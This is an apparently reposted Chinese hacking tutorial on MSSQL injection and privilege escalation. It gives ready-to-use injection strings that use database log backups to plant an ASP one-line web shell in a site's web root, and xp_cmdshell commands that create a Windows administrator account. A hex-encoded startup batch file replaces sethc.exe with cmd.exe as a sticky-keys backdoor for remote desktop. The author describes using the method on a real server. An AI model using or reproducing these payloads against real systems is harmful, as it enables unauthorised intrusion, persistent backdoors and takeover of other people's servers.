您的位置:首页 > 数据库

MSSQL注入时的手工差异备份与提权 ___and___ 巧用差异备份DB_OWNER提权

2015-11-23 22:21 369 查看
字符型

1.恢复当前库
;alter database 当前库 set RECOVERY FULL--

2.创建表cmd
;create table cmd (a image)--

3.备份当前库到D:\cmd1
;backup log 当前库 to disk = 'D:\cmd1' with init--

4.插入一句话代码到创建的表cmd
;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--

5.备份一句话代码到站点根目录
;backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6.完成
';drop table 创建的表--

----------------------------------

数字型

1.恢复当前库
';alter database 当前库 set RECOVERY FULL--

2.创建表cmd
';create table cmd (a image)--

3.备份当前库到D:\cmd1
';backup log 当前库 to disk = 'D:\cmd1' with init--

4.插入一句话代码到创建的表cmd
';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--

5.备份一句话代码到站点根目录
';backup log 当前库 to disk = 'D:\www_web\oct.asp'--

6.完成
';drop table 创建的表--

--------------------------------

sa权限创建管理员用户

1.判断是否有注入;and 1=1 ;and 1=2
;and user_name()='dbo' 判断当前系统的连接用户是不是sa

2.添加系统的管理员
;exec master.dbo.xp_cmdshell 'net user wk wk90 /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--

___________________________________________________________________________________________

巧用差异备份DB_OWNER提权

巧用差异备份DB_OWNER提权

得到的DB_OWNER权限

想到的是差异备份

exec master..xp_dirtree c:,1,1

列目录

/*利用Url或者sql查询器Log备份一句话或Bat*/

alter database [master] set RECOVERY FULL--
create table cmd (a image)--
backup log [master] to disk = c:cmd1 with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202

F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65

7865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577

696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325

C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [master] to disk = C:Documents and SettingsAdministrator「开始」菜单\程序启动\start.bat--
drop table cmd--

分析下语句

第一句

alter database [master] set RECOVERY FULL--

master 是数据库名字,一般db权限不行 换库名吧

create table cmd (a image)--

这句的意思建立一个表,表里面一个列,列的数据类型是image

backup log [master] to disk = c:cmd1 with init--

这句就是备份库master里面的log到c:cmd1

insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612

073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65786520257

7696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255

C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655

C73657468632E657865202F790D0A)--

这句就是在刚才建立的表cmd 列a 里面插入数据

130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F61207

3657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577

696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E64697225

5C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C6361636865

5C73657468632E657865202F790D0A

16进制的批处理

处理原文是

@Echo off
@cd %windir%
@del dir /s /a sethc.exe
@copy %windir%system32cmd.exe %windir%system32sethc.exe /y
@copy %windir%system32cmd.exe %windir%system32dllcachesethc.exe /y

backup log [master] to disk = C:Documents and SettingsAdministrator「开始」菜单\程序启动\start.bat--

这句就是备份库master的log到启动项start.bat

里面有批处理

drop table cmd--

删除表

然后等管理登陆3389启动噢

我遇到的问题有

执行第二句的时间

create table cmd (a image)--

master提示拒绝没有权限
不能没创建表的权限就放弃吧
再想想折,我有他db权限.找个空白弄下就ok不是

在库test表test里面找到一个没数据的

这里用到俩命令

删除列

ALTER TABLE 表名 DROP COLUMN 列名

添加列

ALTER TABLE 表名 ADD 列名 VARCHAR(20)

我先执行了删除test里面的所有列

然后执行

ALTER TABLE test ADD a

然后用到的命令是

alter table
语句

网上找了几个实例

引用
--try
create table a
(
name nvarchar(45),
price decimal (19,4),
charge varchar(10)
)
1、nvarchar类型的长度都变为60
alter table a
alter column name nvarchar(60)
2、decimail类型的默认值变为0,小数点后保留2位数
--若默认值已存在先删除后添加 delete constraint 约束名
alter table a
add constraint df_a_price default 0 for price

alter table a
alter column price decimal(19,2)
3、将所以varchar列示类型变为Nvarchar
alter table a
alter column charge nvarchar(60)

我在这里执行的是

alter table [test].[dbo].[test]
alter column a image

意思是改变库test表test列a的数据类型是image

然后稍微改下命令

alter database [test] set RECOVERY FULL--
backup log [test] to disk = c:cmd1 with init--
insert into test (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F7

3202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642

E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F707920257

7696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6

C63616368655C73657468632E657865202F790D0A)--
backup log [test] to disk = C:Documents and Settingsadministrator「开始」菜单\程序启动\start.bat--

执行成功返回

引用
已处理 2 页,这些页属于数据库 test 的文件 test_Log(位于文件 1 上)。
BACKUP LOG 操作成功地处理了 2 页,花费了 0.125 秒(0.081 MB/秒)。

(所影响的行数为 1 行)

已处理 1 页,这些页属于数据库 test 的文件 test_Log(位于文件 1 上)。
BACKUP LOG 操作成功地处理了 1 页,花费了 0.095 秒(0.037 MB/秒)。

ok

看到这里就成功了 然后看下

exec master..xp_dirtree C:Documents and Settingsadministrator「开始」菜单\程序启动\,1,1

然后返回

成功了
哈哈等管理吧
这里补充的我比较笨蛋.以上是我在本机测试好久的,备份有的库有时间批量命令写不进去的
那样是没有用的

这样才是成功的

大牛绕过呵呵,刚开始的时间想过放弃,不过一步一步摸索不懂的查gg,嘿,真搞定了.
搞这个不容易,他这个1433只针对一台服务器开放,我费了好大事才搞定那个,然后朋友写了个dll(端口映射,系统服务,比较方面,上3389很容易发现).
这才copy出表,本地能测试.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  差异备份 dbowner